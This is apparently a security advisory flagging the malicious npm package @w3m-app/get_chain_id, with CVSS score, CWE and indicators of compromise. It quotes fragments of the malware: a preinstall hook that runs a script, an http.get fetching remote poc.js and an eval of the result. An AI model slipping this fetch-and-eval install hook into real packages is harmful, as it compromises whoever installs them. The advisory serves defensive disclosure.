GCVE-110-OSM-2026-3363

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published April 29, 2026

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, install-time execution. Payload: poc.preinstall.js Secondary files: preinstall.js Key findings: - Fetch and Eval/Exec in poc.preinstall.js: "http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { ..." - Fetch and Eval/Exec in preinstall.js: "http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { ..." - Publisher Has Other Malicious Packages - Install Hook Executes Local JS File in package.json: ""preinstall": "node preinstall.js"" - Dynamic Code Execution in poc.preinstall.js: "eval(body)" IOCs: - domains: oob.moika.tech - payloadFileHash: a70b77c6d2828400141e6d188485d742427792d33c455c07cc32cd176fbe10dc

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	@w3m-app/get_chain_id	all (affected)	—

References

Malicious npm package: @w3m-app/get_chain_id

advisory

vendor

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